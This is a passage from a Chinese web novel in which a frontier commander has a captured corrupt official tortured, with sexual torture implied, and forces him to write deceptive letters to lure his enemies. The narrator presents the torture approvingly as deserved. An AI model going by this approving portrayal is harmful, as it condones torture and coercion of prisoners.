“甚好!”秦猛脸上终于浮现一抹笑容,做出承诺:“今日把话放在明处,也好过日后互相猜忌。尔等尽心办事,无论成与否,我必不负尔等。”
他站起身,走到众人面前,声音提高,带着一种鼓舞人心的力量:“秦某是边塞儿郎,喜欢直来直去,非那过河拆桥、卸磨杀驴的龌龊之辈!
待你等功成归来,我必亲自上报帅司,**你等深明大义,主动弃暗投明之功,为你等请功!届时,转边军籍、授田安家、乃至依功擢升为部将、参军,光耀门楣,皆在眼前!”
言罢,他抬手“啪啪”拍了两下。
亲卫队长牛五立即带人让开,身后跟着几名军士,端着几个托盘,上面整齐地码放着一锭锭白花花的官银,在火光映照下,反射出诱人的光芒。
秦猛指着银子道:“这些,是给你们的安家费。都头李双,百两;文书吏何方八十两,其余人等,各五十两。
另外,此行前往幽州,所需盘缠、每人再加十两,打点所需备好,务必足用,莫要误了大事。”
银光闪闪的银锭,实实在在的财富,即将落入口袋里的好处,比任何空泛的承诺都更有冲击力。
李双等人看着那堆积的银子,呼吸都变得粗重起来,眼中流露出激动与贪婪,但更多的是一种被信任和重视的触动。
他们原本忐忑的心,此刻安定了不少。
“多谢大人厚赐!”以李双为首,众人齐刷刷单膝跪地,抱拳过头,声音洪亮,带着发自内心的感激,“我等必誓死效忠大人,万死不辞!”
秦猛上前一步,亲手将李双扶起,目光扫过众人:“都起来吧。时间紧迫,你等即刻去后寨门口迎接家人,好生团聚,自有专人引导你们安置。
休息整顿两日,之后,便需出发。
具体事宜,去了幽州联络,牛副将会另
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行交代。”
他的目光再次变得深邃:“记住,幽州之事,只许成功。”
李双等人重重叩首,再起身时,脸上已满是决然。
他们再次拜谢,然后怀着与家人即将团聚的激动、对未来的期盼、以及此行重任在肩的凝重,退出温暖的大厅,脚步却比来时坚定了许多。
军寨后门处,寒风卷着雪沫子,打在人的脸上生疼。
风声、马蹄声、车轮声、人语声交织在一起,打破了边境冬日惯有的寂静,显得嘈杂而富有生气。
刘三和陈石率领的车队,在一队精锐骑兵的接应和护卫下,终于安全抵达铁血军寨后寨门。
车辆停稳,人群开始有序地下车,或卸下行李。
人群中,李双、何方等原幽州厢军,文吏急匆匆赶来,他们的目光在人群中急切地搜索着。
“爹——!”一声孩童的呼唤响起。
李双浑身一震,循声望去,只见妻子正牵着年幼的儿子从一辆马车上下来后。孩子看到他喊了一声,挣脱母亲的手,跌跌撞撞地跑来。
李双一个箭步上前,弯腰将儿子紧紧抱在怀里,那小小的、温热的身躯让他眼眶瞬间湿润。他随后又牵着自己的妻子,去拜见爹娘。
何方等人也纷纷找到了自己的家人,呼喊声不绝于耳。
一时间,寨门前充满了重逢的喜悦、激动的泪水以及七嘴八舌的问候,连日来的担忧和漂泊之感,终于在此刻,化为了实实在在的安稳。
与此同时,军寨的兵曹参军诸葛风和负责内务的李恒联袂而至,迎上了正在指挥卸货的刘三,陈石。
“刘三兄弟、陈石兄弟,一路辛苦!”诸葛风拱手笑道,“大人已得知诸位凯旋,甚是欣慰。”
“先生说笑了,这是属下分内之事。”刘三笑着摇头。看着人群中身穿公服,忙着安置青壮的兄弟,还朝这边挥手,脸上的笑容更浓了。
“先生,不知道大人在何处?得知些消息要禀报。”较为沉默的陈石简单寒暄过后,低声说道。
“十万火急吗?”诸葛风问。
“不急,比较重要。”陈石摇了摇头。
“那无妨。”诸葛风哈哈一笑,拉着刘三和陈石:“大人为你们准备了接风宴,席间再说不迟。”
……
秦猛本来是要亲自来迎接刘三和陈石,奈何有更大的事脱不开身,只能让诸葛风代为迎接。
为了使这个’投名状计划’进一步完善。此刻,他率领亲兵队来到紧挨着官署的一间铺屋……
第254章 恶人还需恶人磨
官署边缘的铺屋,既是巡逻哨兵点,又是一间特殊的牢房,专门有专人把守,禁止他人靠近。
秦猛推开里屋那扇木门,一股混合着霉味、炭火气以及一丝若有若无的腐臭气息扑面而来。
曾经的幽州兵曹参军苏珩,如今已彻底失了官威。
他像一只受惊的野鼠,蜷缩在角落那张铺着芦绒的床榻最深处,身上裹着一条旧棉被,却依旧冷得瑟瑟发抖,或者说,更多的是源于恐惧。
千万不要同情此獠,经审问和他人口供汇总。若要细数苏珩过往的恶行,幽州的百姓怕是三天三夜也说不完。
他那“苏半城”的诨号,便是其罪状的凝练。仗着家族在幽州的势力,他成为刺史府干办后,第一件事便是将手伸向了税赋。
朝廷的税银之外,他硬生生加征了所谓的“脚钱”、“耗羡”等项,数额竟比正税还多出三成。
缴不上的农户,他便令衙役夺其田地,抢其牛羊,拆其房屋,逼得多少安分人家一夜之间流离失所,那良田沃土转眼便都改姓了苏。
这还只是明抢,更有甚者是暗夺。
城中但凡有些利润的商铺,苏珩总要巧立名目插上一手。要么是寻个由头诬陷东家走私,将人下狱,吞并其产;
要么便是纵容手下地痞日日骚扰,直到店主不堪其扰,将祖传的产业以白菜价“自愿”典卖给他。
曾有不愿就范的布商,一夜之间仓库失火,百年基业化为灰烬,或是满门被歹徒杀害,抓不住凶手。人人都知是苏珩所为,却无一人敢言。
至于司法讼狱,更是苏珩敛财弄权的工具。阔佬犯法,只需奉上足够金银,便可逍遥法外;穷人有理,若无钱打点,便是冤沉海底。
只要你有钱,只要你肯给钱,官司肯定能打得赢。百姓常说衙门口朝南开,有理没钱莫进来!
苏珩擅长溜须拍马,深得崔文远喜欢,手头权力极大。甚至公然买卖官缺,将各郡衙小吏的职位明码标价,使得其党羽爪牙遍布州县。
幽州官僚沆瀣一气,百姓的怨气根本无从上诉。苏珩更是将手伸到边军,没少掣肘惹是非。
这一桩桩、一件件,皆是苏珩踩在幽州百姓尸骨上堆砌出的富贵,如何不令人恨入骨髓?
只是到了铁血军寨,他不讲规矩。
秦某人可不是个死脑筋,同样不会跟他谈仁义。
这不,短短时间就收拾的服服帖帖!
苏珩的官袍早已被剥去,换上了一套粗布囚服,上面还沾着些许污渍,两边脸颊肿的老高。
原本保养得宜的面庞此刻憔悴不堪,眼窝深陷,布满了惊惧的血丝,嘴唇干裂,头发蓬乱如草。
听到门响,他猛地一颤,呆滞的目光投向门口。
当他的视线掠过秦猛,落到其后跟着进来的**和牛五身上时,如同被烧红的烙铁烫到般。
他喉咙里发出“啊啊”的、不似人声的怪叫,身体拼命地向后挤,仿佛要嵌进墙壁里去,双手胡乱地在身前挥舞,踢着腿,尖声叫道:
“别过来,滚开!你们这些魔鬼……我都说了……我知道的全说了。求求你们,别再碰我……”
这位出身士族、一向养尊处优的官员,在军寨那阴冷潮湿的地牢里,甚至没能撑过**和牛五的第一轮“招待”。
那些他从未想象过的、专为摧毁人意志而设计的刑具,甚至还没真正在他身上留下不可逆的伤害,就已经将他所有的尊严和忠诚击得粉碎。
嚎哭、求饶、屎尿失禁……
最终像竹筒倒豆子般,将他所知的关于幽州官场的龌龊、苏家见不得光的生意、以及顶头上司崔文远的诸多隐秘和弱点,乃至一些捕风捉影的猜测、传闻等,都交代得一干二净。
所谓的文人风骨,在实实在在的暴力面前,在肉体制裁与精神羞辱面前,脆弱得不堪一击。
秦猛面无表情地走到屋中,目光冷峻地扫过苏珩那副狼狈如丧家之犬的模样,心中没有对这种坏水的半分怜悯,只有尽在掌握的冷静。
他挥了挥手,一名亲兵默不作声地将一套笔墨纸砚放在屋内唯一的那张木桌上。
“苏珩,”秦猛的声音不高,却带着不容置疑的寒意:“现在,我说,你写。照着我的意思,一字不差地写下来。写好了,你能少受点罪。”
他顿了顿,补充道,“这是你眼下唯一的价值。”
“姓秦的!”苏珩像是被这句话刺激到了残存的一点羞耻心,猛地抬起头,眼中迸射出混杂着极致恐惧和怨毒的光芒,声音嘶哑的咆哮。
“你……你休想再利用我。士可杀,不可辱!”苏珩梗脖子说:“有种你就给个痛快,杀了我!”
他梗着脖子,试图做出硬气的姿态,但那不断筛糠般颤抖的身体和飘忽不定的眼神,彻底出卖了他内心的虚怯。
“嘿!苏大人这是皮痒了,想念咱老王的‘伺候’了?”**咧开大嘴,露出一个狰狞的笑容,上前一步,故意把手指关节捏得“咔吧”直响。
他绕着桌子走了半圈,像打量猎物般地看着苏珩:“看来,上次给您‘疏通筋骨’还没到位,让您忘了,该怎么跟咱们秦大人回话了。”
牛五更直接,他“哐当”一声将一直拎在手里的一个木箱子放在地上打开,里面赫然是各式各样形状怪异、闪着幽冷金属光泽的刑具。
他捡起一把特制的、带着细密倒齿的铁锥,在手中熟练地把玩着,凑近苏珩,恶声恶气地道:“跟这怂货废什么话?”
“大人,瞧他这怂样,怕是忘了上回唱那‘隔江犹唱**花’是啥调门了!让俺再给他通通‘窍’,保准他这回嗓子清亮,您说啥他写啥!”
他身后的几名亲兵也适时兴奋地向前逼近一步,人人脸上露出贱兮笑容,带来强烈的压迫感。
“**花”三个字如同一道惊雷,瞬间击溃了苏珩最后的心防。
他清晰地记得那种难以启齿的**和鳝鳅钻心的痛楚,那比任何鞭打都更摧毁人的意志。
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他脸上的怨毒瞬间被极致的恐惧取代,发出一声凄厉的哀嚎:“不,不……我写,我写!求求你们……别……别那样……我写,我什么都写!”
他几乎是连滚带爬地从床榻上跌下来,双腿软得几乎站不住,踉踉跄跄,手脚并用地扑到桌边,因为过度恐惧,坐下后,半趴在桌上。
他颤抖得如同秋风中的落叶,好几次才勉强抓稳那支笔,墨汁溅得到处都是。
秦猛冷漠地看着他这副丑态,上去就是一个盖帽:“**,给老子坐直了,手也不准抖。”
他语气平稳却带着绝对的权威,一字一句地口述:“听好了。这信,一封是写给你苏家如今在幽州家族长辈,报个平安,一封给崔文远。
你最好不要玩什么花花肠子,老老实实地写。
巴蒂尔你也见过了,幽州官僚勾结**的事我也知晓。幽州官场这个破草台班子必将被捣毁。
你要想保住你和你家眷的小命,你就得乖乖地配合,争取戴罪立功,给家人一条好的出路。耍小心眼,冥顽不灵,别怪本将刀子锋。”
“爹娘……”苏珩听到这番话,瞬间想到自己的妻儿老小。强制平复一下心情,握笔的手不抖了。
“写家书,就说本将念在你是朝廷命官,并未过多为难。实则是强咽下这口气,不得不捏着鼻子认了。目前一切安好,请家族勿要过度挂念,更不要轻举妄动,以免激化事端,对你不利。”
秦猛刻意停顿,让苏珩跟上书写速度。
片刻后,他继续道,声音压低了些,却更显意味深长:“换成奏报,在信中就说,秦猛此獠,刚愎自用,是崇尚武力的武夫,却对朝廷忠心耿耿。以后可以在这个上面做文章。
‘无意’间提及,你在此地观察所见。就说,此军寨兵力……主要是飞虎卫赵将军派来的外援支撑着。
本寨约摸一千之数,但八成是新近招募的乌合之众,缺乏操练,甲胄陈旧不堪,士气低落,不过是依仗地利苟延残喘,实则外强中干,不足为虑。措辞要巧妙,像是你暗中观察所得,偷偷告知,这个语气以关切,明白吗?”
“呃呃…”苏珩哪敢有半分迟疑或篡改?毕竟边上**和牛五一个怪笑连连,一个凶相毕露。
秦猛说一句,苏珩便在纸上歪歪扭扭地写一句,额头上的冷汗滴落在信纸上,晕开了墨迹。
两封信写完,秦猛探头看了一眼,板着脸摇头:“不行不行,你这字跟鸡爬似的,重新写!”
“写,写好了!”**上前摆好纸张。
“你要是写不好,老子让你在冰河上唱**花。”牛五依旧是那么凶残,瞪着眼,亮出了铁签子。
窗外,风雪呼啸声中,隐约还能听到后寨门方向传来的、模糊的人声喧哗,那是家人重逢之喜。
而在这间阴暗的铺屋内,只有军汉粗重的呼吸声,以及苏珩因恐惧压抑的、断断续续的抽泣声。
他…他怕极了,早知道打死也不来。
第255章 书信为饵,风雪又来
苏珩没有作假,也不敢搞鬼!
因为他知道,一旦有错,迎接他的将是菊花残!
秦猛接过苏珩写就了三遍的书信,逐字逐句审阅。确认无一错漏、语气亦符合他所授意的“关切与轻视”后,安抚几句,转身离开了铺屋。
而到了外面,他和颜悦色变为冷峻。可不会来赌,也不会把希望寄托在一个被胁迫的人身上。
他先找到几个幽州文书吏查验,挨个交给几人过目,称呼无错,一眼认出,是苏珩的笔迹。
“诸葛先生,赵先生,你们过目,是否有问题?”
秦猛还是觉得不放心,又找到心腹和幕僚把关。
赵开明精通文墨,却最懂官场虚实。大步上前,接过信笺展开,检查信件没有暗藏标记,迅速扫了一遍,也没有发现藏头露尾词汇。
他扫到“一千乌合之众”“甲胄陈旧”等句时,嘴角勾起一抹冷笑,颔首道:“秦将军这计策高,苏珩这怂货写得够真,家书,密信都没有问题。苏家那帮人精,怕是要栽在自己人手里。”
诸葛风一袭青衫,博览群书的他接过书信,也没有发现两封信中有问题,称呼上都合理,目光落在“勿要轻举妄动”与“外强中干”的措辞衔接处,指尖轻点纸面,低声赞道。
“‘无意提及’四字,写得最妙。既像身陷囹圄者的暗中报信,又将诱饵藏的极深,苏家见信,只以为是苏珩怕家族冲动害了他,绝不会疑心是陷阱。”
两人阅毕,均无异议。
秦猛便从亲兵手中取过信封,将信纸小心装入,又取来一块火漆,在烛火上烤至融化,稳稳滴在信封封口处凝结,将谎言牢牢封藏。
两日时光悄然流逝,刚放晴的天空又是乌云袭来。
后寨门外,李双正与妻儿道别。他将妻子塞来的棉衣紧了紧,又摸了摸儿子冻得发红的小脸蛋,声音带着几分沙哑:“照顾好自己和娃,等我从幽州回来,再给你们一个惊喜。”
妻儿含泪点头,目送他转身,眼底是不舍,亦是对平安的期盼。
李双深吸一口气,将那份秦猛私下交给他的书信贴身藏紧,仿佛揣着一颗滚烫的石子。
他走到文吏何方身边,何方已点齐了二十余名地方厢军,人人身背**、腰挎环首刀。
马背上驮着充足的干粮、御寒的被褥,还有几箱特意准备的、看似普通的军寨物资——那是为了让此行更像一次寻常的返程,不引人怀疑。
“都准备好了?”李双问道。
何方点头,指了指身后的队伍:“符合条件的人已经齐了,物资也清点完毕,随时可以出发。”
秦猛站在寨门之上,望着下方整装待发的队伍,沉声道:“李双,何方,此去幽州,一路小心。书信务必亲手交给苏家主事之人,途中若有任何差池,立刻带队出城,保命为上。”
“卑职明白!”李双与何方齐声应道,声音铿锵有力。
“去吧,祝凯旋!”随着秦猛一声令下,寨门缓缓开启。
李双翻身上马,何方与二十余名厢军紧随其后,马蹄声如雷,迅速消失在寒风呼啸的远方。
那两封藏在李双怀中的书信,装载着谎言、欺诈与致命陷阱的书信,正在绝对的武力与胁迫下,如同一条蛰伏的毒蛇,正随着这支行进的队伍,向着幽州的方向,悄无声息地游去!
秦猛站在寨墙之上,目送着李双一行人的身影消失在雪原尽头,心中那份沉甸甸的谋划暂时压下,取而代之的是对计划展开后的图谋。
就在这时,几点冰凉之物猝不及防地打在脸上。下意识抬手一摸,是几颗已然未化开的雪子。
紧接着,更多的雪子砸在他冰冷的铁甲上,发出密集的脆响。
秦猛抬头望向昏沉得如同锅底的天穹,浓云翻滚压来——预示着一场更大的风雪即将来临。
“哎,又要下雪了。”
秦猛喃喃自语,呼出的白气迅速消散在寒风中,“按北疆的尿性,这场春雪过后,就要忙着春耕了。”
他深吸一口凛冽的空气,将杂念抛开,转身稳健地走下城墙台阶,径直朝着喧嚣的校场走去。
他必须抓紧每一刻操练麾下士卒,要在冰雪彻底消融之前,将这支军队磨砺成真正的尖刀。
届时,方能踏上草原,去领略一番别样的“风景”。
朔风卷地,白草摧折。
北疆的雪断断续续,却越下越大,气温骤降,呵气成霜。
然而,这极致的严寒并未能阻挡铁血军寨内部如火如荼的冬季大训。
校场上,积雪被无数双坚定的脚板踏成坚实的冰面,士兵们操练的号子声震天动地,那股冲天的杀气,似乎要将漫天风雪都逼退几分。
秦猛婚后也没有无半分懈怠,整日忙于督导全军操练,亲自调教亲卫队与暗部两支小队,自身的体能训练,弓马武艺,也从未落下。
他对自己有清晰的认知,做不到白起、韩信那般运筹帷幄的大军团统帅之才,但凭借一身悍勇,足以率领千军万马冲锋陷阵,杀他个几进几出。
全军上下,无论是秦大壮、李山等老部下,还是刘铁柱、王善、鲁真等新晋骨干,皆各司其职。
他们疯狂地操练着本部兵马,彼此间轮流切磋,更是组团前往飞虎卫营地较量,只为在开春后,铁血军寨全
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军大考中多争得几个名额。
那纸早已通报全军的告示,如同投入滚油中的水滴,彻底点燃了所有将士的热情。
——只要通过考核,获得大比名额,便能官升一级;若能在边军大比中脱颖而出,表现优异,更有连跳两三级,乃至破格提拔的机会。
此命令难过所有武装力量,战兵、辅兵、新兵甚至民兵,无一不卯足了劲头,风雪中“杀”声震耳,每个人都盼着能借此机会鱼跃龙门。
时光在紧张的训练中飞逝,一晃过了几天。
正月二十,寨门外响起一阵急促的马蹄声,奉命外出执行任务的重骑队队将林怒率队归来。
他刚一回营,便听闻了开春全军大比与选拔的消息,顿时摩拳擦掌,决心要好好表现一番。
与队伍一同悄然抵达的,还有又一次偷偷溜出家的林婉儿。且不说其父亲林安国发现女儿再次“不辞而别”后,是如何的吹胡子瞪眼睛。
然而,在这边寨,气氛却截然不同。
陈月娘、秦小芸、王艳等女眷闻讯,皆是欣喜异常,几人笑着迎出,热情地将林婉儿簇拥入寨。
你拉我的手,我挽你的臂,笑语寒暄间满是久别重逢的亲热。
林婉儿赶忙献宝似的取出从郡城自家商铺“芷兰斋”带来的上好胭脂水粉,送给陈月娘等人。
一时间,精巧的胭脂盒、馥郁的香粉摆开,引得姐妹们围拢欣赏,啧啧称赞,官署后院内宅里顿时充满了女儿家特有的轻快与欢喜。
为给她接风,陈月娘早已亲自下厨,张罗了一桌丰盛酒宴。
桌上不仅有军营常见的炖肉粉条,更亮眼的是几道硬菜:那色泽红亮、颤巍巍的红烧肉,和肥瘦相间、香辣诱人的回锅肉,正是秦猛忙里偷闲教给伙房的炒菜手艺,被陈月娘学了去。
此刻特意露上一手,浓浓的心意都融在这家常的香气里。
席间,烛火温暖,几位女子围坐,喝着新酿的米酒,推杯换盏,聊着别后趣事,气氛温馨愉快。
酒足饭饱后,秦小芸和王艳兴致更高,立刻拿出扑克牌,开始手把手地教林婉儿和丫鬟小蛮玩法。
“快,出对子吃!”
“哎呀,我这张牌留错了!”
一时间,洗牌的哗啦声、恍然大悟的轻呼、赢了牌的欢叫与笑声交织在一起,此起彼伏。
这份女儿家独有的鲜活与热络,仿佛一道暖流,巧妙地融入了铁血肃杀的军寨氛围之中。
林婉儿来军寨后的第二天,军寨又迎来了队伍!
清晨,几匹快马飞奔至军寨后门通报,数里外,一支浩浩荡荡的队伍顶着风雪,从西边而来。
第256章 相互算计,帅司难题
从西边来的队伍,是黑虎卫与白虎卫依照先前约定,由两名副将率领,押运着大批物资抵达寨外。
只见长长的车队绵延数里地,数百辆牛车、马车之上,满载着粮秣、铁料、猛火油、硫磺、硝土等军寨急需的战略物资,数量极为可观。
副将李山和参军诸葛风迎接,热情接待了两位带队副将。这两人一个叫杨凯,一个叫陈光,月前随队伍来过铁血军寨,算是轻车熟路。
秦猛训练归来,下令杀猪宰羊,设宴款待。他让秦大壮、李山、常勇、鲁真等将领作陪,又请来周扬,王魁等将赴宴,给足了对方面子。
席间,众人推杯换盏,话题离不开冬季训练和即将展开的边军大比,约好同进退,笑声不断。
借着敬酒的空档,杨凯压低声音,提醒秦猛:“秦将军,侯将军托我转告,果然如您所料。幽州官僚通过手段,在边军内部散播谣言。黑虎卫就有不利于您的言论,我等嗤之以鼻。”
“就是!”陈光也是附和,说着白虎卫中的传言:“不知道秦将军缴获几乎上缴,自己留下不足一两成,那群家伙想害您,真是痴人说梦。”
“不过,秦将军还得小心,这群阴险的玩意说您狂妄,仗着勇猛不把边军将领放在眼中,咱虎贲军自然是齐心协力,保不准其他边军将领多想,开春大比,将军一定要小心为妙啊!”
“多谢两位告知,此事我早有考虑。”秦猛听到这个坏消息,脸色平静无波,笑着与两人吃酒。
他心里可不平静,果然如他和赵开明料想的那样。幽州官僚黔驴技穷,用这种下三烂手段。
可他早就有所准备,战马不是上缴就是支援友军。崔文远及麾下爪牙上蹿下跳,如跳梁小丑。
至于其他边军将领是否敌对,等碰到再说。要是对方故意找茬,他秦猛必定给予迎头痛击。
“希望不要做傻事,否则别怪老子不念边军情谊。”秦猛脑子转得飞快,已经默默有了决断。
他为了表示对杨凯和陈光提醒的感谢。不仅做主,以八折的价格卖出一批北风烈,精盐。还大方地提前支付了一批**作为部分“回礼”。
次日,这支运输队伍休整完毕,满载而归。除了北风烈好酒,**外,另有更大的收获。
——他们偶然见识了象棋和扑克牌这两种新奇物事,大感兴趣,得知情况后意识到重要性。
找到秦猛,软磨硬泡地要走了样本、制作方法及规则图解,这才心满意足地踏上归途。
可以想见,用不了多久,这两样娱乐利器必将风靡两卫军营,甚至会流传到整个北疆边军。
而被秦猛强行推到前台、搞出这些新物件的何先发则名声大噪,他也将会被包装成“幽州赌王”。
可怜,何先发老汉,此刻却躲在屋里瑟瑟发抖,满脸愁苦。他哪里当得起“赌王”这个称号?
奈何秦猛的话掷地有声:“我说你是,你就是,不是也是!我说你行,你就行,不行也得行!”
这小老头的“赌场传奇”生涯,眼看就要在这北疆的风雪中,咬牙硬着头皮地拉开了序幕。
“哼,算计我?到时候让你们看一出赌场风云。”秦猛送走了杨凯等人后,想起宴席上两位副将的提醒,他呢喃自语,眼中浮现凛冽杀机。
象棋、扑克牌这种新物件的诞生岂是这么简单?
他要借助这种新颖的玩法推广后,再磨刀霍霍。这世道专利虽处于萌芽期,但他有刀子。是妥妥的官方力量,有资格打击违法犯罪。
……
幽州城。
漫天的风雪席卷了这座边陲重镇,鹅毛般的雪片簌簌落下,将屋檐、街道染成一片素白。
大户人家红灯笼覆了层雪顶,寻常住户门前花灯在风雪中摇曳,勉强残留着一丝年节的余韵。
正月十五,上元佳节的热闹早已散去,幽州大小官吏们已结束假期,重新奔波于各自的岗位。
风雪中,街边商铺开了门,车马行人步履匆匆,为这银装素裹的城池注入了几分艰难的生气。
城北,边防帅司府!
与城中的些许市井气息相比,帅司衙门更显肃杀。即便是风雪天,左右军营杀声四起,岗哨依旧挺立,披甲卫士呵出的白气瞬间凝霜。
大周北疆边防的经略司(帅司)一律驻于本州“首城”,这些州城城墙高厚,屯兵数万,仓廪、兵器、驿道俱全,既便于调集粮草,也远离敌境数百里,可保指挥机关不被突袭。
前沿节点——“将司、寨、堡”,组成边防梯队。
大周建国至今,素来崇文抑武,帅臣几乎都是文臣来担任,外行领导内行,那能有好吗?
此刻,帅司正堂之内,炭盆烧得噼啪作响,幽州边防帅司的最高统帅吴振大帅,正正襟危坐,眉头紧锁地审阅着几案上的一份奏报。
奏报正是由铁血军寨以快马送来,封皮上还带着风雪的湿冷气息。展开一看,通篇皆是诉苦之言:
先是阐明军寨升格至今不足两月,百废待兴;接着便是大倒
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苦水,说存粮见底、营房稀缺,最关键是人口不足,导致大片荒地无人开垦。
笔锋一转,又提到开春化冻后,边寨还需按制修缮已废弃多年的芦苇堡,以期巩固防线……
最后,自然是长篇累牍地请求帅司调拨钱粮、建材、农具乃至流徙人口,以解燃眉之急。
奏报末尾,赫然是铁血军寨秦猛盖印,以及飞虎卫赵将军的亲笔签名与鲜红将司大印,尤为扎眼的是,文中还看似不经意地提了一句:
“……然寨小力微,又逢幽州刺史府委派监镇官刁难,诸事繁杂,恐应对不周,有负帅司重托。”
这样的信件,自年前开始,这已是第四封了。
吴振初接第一封时,确实大惊失色。
他根本不记得自己签署过往铁血军寨委派监镇官的公文。一番彻查之下,真相令他勃然大怒:
竟是帅司内部几个胆大包天的官吏,暗中收受幽州官僚的好处,瞒着他这位大帅,擅自签发了升格公文,并“依例”同意了委派监镇官。
这简直是被人当枪使,还替人背了黑锅惹来事端。
可吴振大帅碍于面子,只遣散官吏,没有严肃处理。他本以为此事过去了,哪知道麻烦不断。
秦猛让人拟定的哭穷奏报接踵而来。
吴振又不是傻子,当然知晓铁血军寨与幽州官僚不睦。也清楚那军寨在之前的战事中缴获颇丰,绝不至于如奏报中所说的这般穷困潦倒。
这分明是拿着鸡毛当令箭,抓住帅司理亏的把柄,理直气壮地来“打秋风”了。
可偏偏,这委派流程在形式上“合法”,监镇官也已派出,帅司在此事上确有失察之责,让他有火发不出。
“调拨多了,帅司本就不算充裕的仓库怕是要被搬空一大半,来年其他各寨的用度如**系?
可若调拨少了,或者置之不理,且不说这秦猛刚刚立下大功,这军寨若真因此无法巩固防务,让**钻了空子,天大的干系谁来担?
单是那秦猛隔三差五送来这哭穷,再加上那个刺史府的监镇官在一旁掣肘,就是甩不掉的麻烦!”
吴振盯着奏报,犹豫不决,心中权衡利弊,左右为难。一种被手下蠢材牵连的憋闷感油然而生。
“这些该死的蛀虫!成事不足,败事有余!”吴大帅最终只能将怒火倾泻在那惹祸的官吏身上,咬牙低声斥骂,却不得不面对这棘手局面,苦思着该如何应对这份“合法”的勒索。
无独有偶,有人比他更为烦恼。
第257章 暖阁谋算,军寨反制
幽州刺史府内,暖阁与外界的严寒恍若两个世界。
刺史崔文远身裹厚实的锦袄,外罩一件名贵的紫貂大氅,背负双手,在廊下缓缓踱步。
他望着漫天风雪,又见园中那几株腊梅已过了最盛之时,花瓣在风雪中零落,眉头不禁紧紧锁在一起。
近来,崔刺史的心情实在算不上好。
年前与心腹们精心策划的诸多谋划,至今收效甚微,远远未达预期。
除了安插在青阳郡的心腹判官孙淼送来消息,称已在郡城站稳脚跟,些许事务尚算顺利之外,其余诸事皆不尽如人意。
他曾派人至边军帅司,暗中散播关于铁血军寨秦猛的谣言,称其借交换俘虏之机,私吞了六千匹战马及大量牛羊,隐匿不报,其心叵测。
然而,这足以引起上层猜忌的言论,却如同石子投入深潭,连个像样的涟漪都未曾泛起。
他又派人携重礼联络几位素来交好的边军将领,希望他们能从中作梗,给秦猛找些麻烦啥的。
可那些老滑头,礼是照单全收了,言语间却模棱两可,只说什么“时机未到”、“等开春大比之日,届时各展手段”,无一给出明确承诺。
“哼,全是一群喂不熟的白眼狼,靠不住的东西!”崔文远越想越不高兴,只觉得胸口憋闷之气难以舒展,从牙缝里挤出一声恨恨的轻斥。
忽然,他又想起一人——那个出身他刺史府、被他寄予厚望,外派至铁血军寨的干办苏珩。
“这苏珩,办事素来还算稳妥,从未出现过纰漏,只是此次一去多日,音讯渐稀……”
崔文远望着灰蒙蒙的天空,喃喃自语,心中既有期待,也有一丝不易察觉的不安。“也不知如今在那边塞之地,究竟情形如何?”
正当他思绪纷乱之际,一名家仆顶着风雪,沿着回廊飞奔而来,干瘪的腰囊此刻鼓了起来。
他奔至近前,方才刹住脚步,气喘吁吁地禀报:“大人,喜事!长史苏骞苏大人冒雪来访。”
说到此处,这个家仆下意识四下张望,压低声音汇报:“说是……说是苏干办有家书送至。”
“另有密信,要即刻呈给大人!”
“哦?”崔文远精神陡然一振,眼中闪过一丝精光。
“快,快请!请苏长史到暖阁叙话!”
原来,就在昨日午后,李双、何方率领的队伍冒着风雪抵达幽州。
他们入城后的第一件事,便是与暗部取得联络。再直奔长史苏骞的府邸,呈上了苏珩的亲笔家书,并言简意赅地传达了边塞的最新情况。
苏骞得信,尤其是得知其中关乎刺史大计的内容后,喜不自胜,今日一早便急急赶来刺史府报喜。
对于以商贾出身、始终渴望在权力场中更进一步的苏家而言,这无疑是一个获取刺史青睐的机会。
暖阁内,角落火盆烧得正旺,驱散了所有寒意。崔文远屏退了左右,只与长史苏骞对坐。
崔文远仔细阅罢苏珩那封密信,脸上先是浮现出难以抑制的喜色,但旋即又掠过一丝疑惑。
他屈指轻轻敲了敲信纸,抬眼看向苏骞:“苏长史,令侄在信中所言,确是大好消息。能设法接近那秦猛,并初步取得其信任,实属不易。
只是……这秦猛向来狡黠多疑,苏干办此举,会不会是那秦猛故意设下的圈套,意在麻痹我等?”
苏骞连忙拱手,脸上堆满笃定而又略带自豪的笑容:“使君明鉴,万毋多虑!我家那侄儿苏珩,旁人或许不知,下官却最是清楚。
此子看似年轻,实则做事极有分寸,心细如发,最是稳妥可靠。他信中既言已寻得契机,必是经过再三权衡,有了相当把握。
秦猛此獠虽狡诈,但我那侄儿亦非易与之辈,最擅长的便是于细微处察见真章,顺势而为。”
他巧妙地将苏珩性格中“狡黠多端、睚眦必报”的一面,包装成了“心细如发、稳妥可靠”,言语间充满了对自家子侄的维护与夸赞。
见崔文远神色稍霁,似乎被说动,苏骞趁热打铁道:“使君,您可别忘了这军寨升格为寨不足两月有余,以前戍堡只有几十个老弱病残。
是秦猛此獠勇猛异常,击溃**,屡立战功,可本质不会变。两个月来招募上千兵卒,全是新兵,衣甲不全,不是乌合之众又是什么?”
“说的有道理!”崔文远连连点头称是。
苏骞越说越有劲,指着密信上的内容说道:“大人请看,苏珩特意将得力的手下何方派回,其用意深远啊。
一来,是详细禀报情况,以示坦诚,心细;二来,更是想为何方下一步行动筹措些必要的物资,并精选一批得力可靠的人手带回去。
使君试想,苏珩身在虎狼之穴,若身边无可用之心腹,无足够的资源支撑,培养自己党羽。即便有心为使君效命,也难免处处受制,孤掌难鸣啊。
若能助他站稳脚跟,培植起一股暗中的力量,将来里应外合,何愁不能将那秦猛彻底压制?”
崔文远听着苏骞条理分明的分析,心中的疑虑渐渐被更大的图景所取代,越想越是这么个理。
他微微颔首,眼中重新燃起算计的光芒:“苏长史所言,不无道理。欲成大事,焉能惜身吝财?
既然苏干办已在彼处打开了局面,我等自当鼎力支持,调拨物资钱粮,方能不负其冒险之心。”
两人随即压低声音,在这温暖的榭厅之内细致商议起来。决定尽快调拨一批钱财、布匹、药材等,以此来收买人心,也可备不时之需。
并从幽州城挑选一批机敏敢为、背景干净的生面孔,由何方带领,尽
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快送往边塞铁血军寨,交由苏珩调配。
他们要借此机会,不仅是要牵制秦猛,乃至架空,更是要在他身边,埋下一颗更深的钉子。
“如此一来,双管齐下,明暗交织,倒要看看那秦猛,还能嚣张到几时!”崔文远捋须轻笑,仿佛已看到未来将对手**于股掌之间的情景。
苏骞阴险地笑出声来。窗外的风雪似乎也更疾了,却吹不散这暖阁中渐渐升腾的阴谋之气。
……
铁血军寨,外面寒风呼啸。官署前堂内炉火劈啪作响,映照着秦猛和几位心腹沉毅的面容。
